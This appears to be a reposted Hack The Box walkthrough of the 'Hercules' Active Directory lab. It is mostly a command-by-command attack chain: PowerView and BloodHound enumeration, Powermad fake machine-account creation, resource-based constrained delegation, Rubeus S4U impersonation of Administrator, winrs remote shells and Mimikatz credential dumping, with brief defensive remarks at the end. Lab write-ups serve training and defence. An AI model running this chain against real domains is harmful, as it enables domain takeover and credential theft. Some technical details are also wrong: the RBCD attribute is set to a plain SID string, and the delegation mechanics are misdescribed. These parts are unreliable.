Listen to this Post
Introduction:
Active Directory (AD) remains the cornerstone of enterprise networks, and its complexity often introduces critical security flaws. The Hercules
machine on Hack The Box is a realistic simulation of a modern AD attack chain, demonstrating how seemingly minor misconfigurations can lead to complete domain compromise. This article deconstructs the key techniques used in this advanced challenge, providing a practical guide to the enumeration, exploitation, and post-exploitation tactics essential for red and blue teams. <h2 style="color: yellow;">Learning Objectives:</h2> <ul> <li>Master advanced AD enumeration techniques to discover users, computers, and security policies.</li> <li>Understand and exploit misconfigured Access Control Lists (ACLs) for privilege escalation.</li> <li>Leverage Resource-Based Constrained Delegation (RBCD) to gain unauthorized access to systems.</li> </ul> <h2 style="color: yellow;">You Should Know:</h2> <h2 style="color: yellow;">1. Comprehensive AD Enumeration with PowerView</h2> Thorough enumeration is the foundation of any successful AD attack. It involves mapping the domain structure, users, groups, and their permissions to identify potential attack vectors. [bash] Import PowerView Import-Module .\PowerView.ps1 Enumerate Domain Information Get-NetDomain Get-NetDomainController Enumerate Domain Users and Computers Get-NetUser | select samaccountname, description, memberof Get-NetComputer | select samaccountname, operatingsystem Enumerate GPOs and OU structure Get-NetGPO | select displayname, gpcfilesyspath Get-NetOU | select name, gplink
Step-by-step guide:
First, download and import the PowerView script into your PowerShell session. Begin by running `Get-NetDomain` and `Get-NetDomainController` to understand the basic domain layout and identify the primary Domain Controller. Next, use `Get-NetUser` to list all user accounts, paying close attention to their group memberships and descriptions which might reveal service accounts. Finally, `Get-NetComputer` lists all joined machines, which is crucial for identifying potential targets for lateral movement.
2. Uncovering Misconfigured ACLs with BloodHound
Access Control Lists (ACLs) define permissions on AD objects. Misconfigurations, such as granting standard users excessive rights, are a common source of privilege escalation.
Using SharpHound to collect data SharpHound.exe --CollectionMethods All --Domain hercules.com --ZipFilename hercules_data.zip After importing data into BloodHound, use pre-built queries: MATCH p=(u:User)-[r:GenericAll]->(n:Computer) RETURN p MATCH p=(u:User)-[r:WriteDacl]->(n:Domain) RETURN p
Step-by-step guide:
Execute the SharpHound collector on a compromised Windows host within the domain. The `–CollectionMethods All` flag ensures all relevant data is gathered. Transfer the resulting zip file to your attacker machine and import it into the BloodHound application. Use the built-in analysis queries, like “Find Principals with DCSync Rights” or “Shortest Paths to High Value Targets,” to visually map out exploitable ACL misconfigurations from your current user position.
3. Exploiting GenericAll on a Computer Object
The `GenericAll` privilege grants full control over an object. If a user has this right over a computer account, they can perform a resource-based constrained delegation (RBCD) attack.
Check for GenericAll rights using PowerView
Get-ObjectAcl -Identity "HERCLES-SQL01" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier
If a user has GenericAll, use it to set RBCD
First, we need to compromise a computer account or create a new one.
Step-by-step guide:
After enumeration with PowerView reveals your user has `GenericAll` on a computer object (e.g., HERCLES-SQL01), you can exploit it. The attack requires you to control a computer account. If you don’t have one, you can often create a new computer account using tools like `Powermad` if the domain allows low-privileged users to do so.
4. Creating a Fake Computer Account for RBCD
Many AD environments allow authenticated users to add a limited number of computer accounts. This can be leveraged to create a controlled machine account for further attacks.
Import Powermad and create a new computer account Import-Module .\Powermad.ps1 New-MachineAccount -MachineAccount FAKECOMPUTER -Domain hercules.com -DomainController DC.hercules.com Get the SID of the new machine account Get-DomainComputer -Identity FAKECOMPUTER | select objectsid
Step-by-step guide:
Import the Powermad module into your PowerShell session. The `New-MachineAccount` cmdlet will create a new computer object named “FAKECOMPUTER” in the domain. Confirm the creation using PowerView’s Get-DomainComputer. Note the ObjectSID of this new account, as it will be used in the next step to configure delegation.
5. Configuring Resource-Based Constrained Delegation
RBCD allows a service (e.g., HERCLES-SQL01) to delegate authentication to specific services on a specific computer (FAKECOMPUTER). By controlling the delegation, we can force the target machine to authenticate to us.
Set the RBCD attribute on the target computer using our fake computer
Set-DomainObject -Identity HERCLES-SQL01 -Set @{'msds-allowedtoactonbehalfofotheridentity'='<SID_OF_FAKECOMPUTER>'} -Verbose
Verify the configuration
Get-DomainComputer HERCLES-SQL01 -Properties msds-allowedtoactonbehalfofotheridentity
Step-by-step guide:
Using PowerView’s Set-DomainObject, target the computer you have `GenericAll` rights over (HERCLES-SQL01). Set the `msds-allowedtoactonbehalfofotheridentity` property to the Security Identifier (SID) of the computer account you control (FAKECOMPUTER). Verify the property has been set correctly using the `Get-DomainComputer` command.
6. Forging Kerberos Tickets with Rubeus
With RBCD configured, you can now request a Service Ticket (ST) that allows your fake computer to impersonate any user on the target computer’s services.
Use Rubeus to perform the S4U2self and S4U2proxy exchange to get a ticket for the admin user. Rubeus.exe s4u /user:FAKECOMPUTER$ /rc4:<NTLM_Hash_of_FAKECOMPUTER$> /impersonateuser:Administrator /msdsspn:http/HERCLES-SQL01.hercules.com /domain:hercules.com /dc:DC.hercules.com /ptt The /ptt flag injects the ticket directly into memory.
Step-by-step guide:
You will need the NTLM hash of the FAKECOMPUTER$ account, which can be retrieved if you set the password during creation or via other means. Run the Rubeus command, specifying the fake computer account, its hash, the user to impersonate (e.g., Administrator), and the service principal name (SPN) of the target. The `/ptt` argument injects the resulting Service Ticket into your current session, granting you administrative access to HERCLES-SQL01.
7. Lateral Movement with Pass-the-Ticket
The final step is to use the forged Kerberos ticket to access the target machine and retrieve the final proof of compromise.
With the ticket injected via Rubeus /ptt, simply use WinRS or WMI to connect. winrs -r:HERCLES-SQL01.hercules.com whoami /all winrs -r:HERCLES-SQL01.hercules.com cmd To dump credentials from the machine, use tools like Mimikatz. mimikatz sekurlsa::logonpasswords
Step-by-step guide:
After the ticket is injected into memory using Rubeus, your session is effectively authenticated as the impersonated user (Administrator) to the specified service on the target machine. Use native Windows tools like `winrs` to open a remote command prompt on HERCLES-SQL01. From this elevated position, you can execute commands, harvest credentials, and locate the final flag or sensitive data.
What Undercode Say:
- The Principle of Least Privilege is Non-Negotiable: The Hercules box demonstrates that over-permissioned user accounts are the first domino to fall in a complex attack chain. Regular ACL audits are critical.
- Detection Over Pure Prevention: While hardening configurations is vital, assuming breach and monitoring for specific RBCD and ticket-forging activities (e.g., specific Event IDs like 4769) is essential for catching determined attackers.
The Hercules machine is a stark reminder that AD security is a game of details. The attack path from a standard user to domain admin was not based on a single zero-day but a chain of common misconfigurations: overly permissive user rights and the default ability to create machine accounts. This scenario is prevalent in real-world enterprises where operational needs often trump security hygiene. Defenders must shift their focus from merely protecting “privileged accounts” to understanding and securing the complex web of relationships between all AD objects. Automated continuous threat path analysis, as facilitated by tools like BloodHound, is no longer a luxury but a necessity for any security team serious about protecting their AD environment.
Prediction:
The techniques showcased in the Hercules machine represent the immediate future of enterprise network attacks. As cloud and hybrid identities become more integrated with AD, we will see these classic Kerberos delegation attacks adapted to target cloud resources and hybrid identity providers like Azure AD Connect. Furthermore, the increasing automation of these attacks will lower the barrier to entry, making sophisticated AD compromise accessible to a broader range of threat actors. The defense will inevitably move towards more intelligent, behavior-based detection systems that can identify the anomalous service ticket requests and ACL modifications that characterize these attacks, rendering static configuration checks insufficient.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Mohammed Goma – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
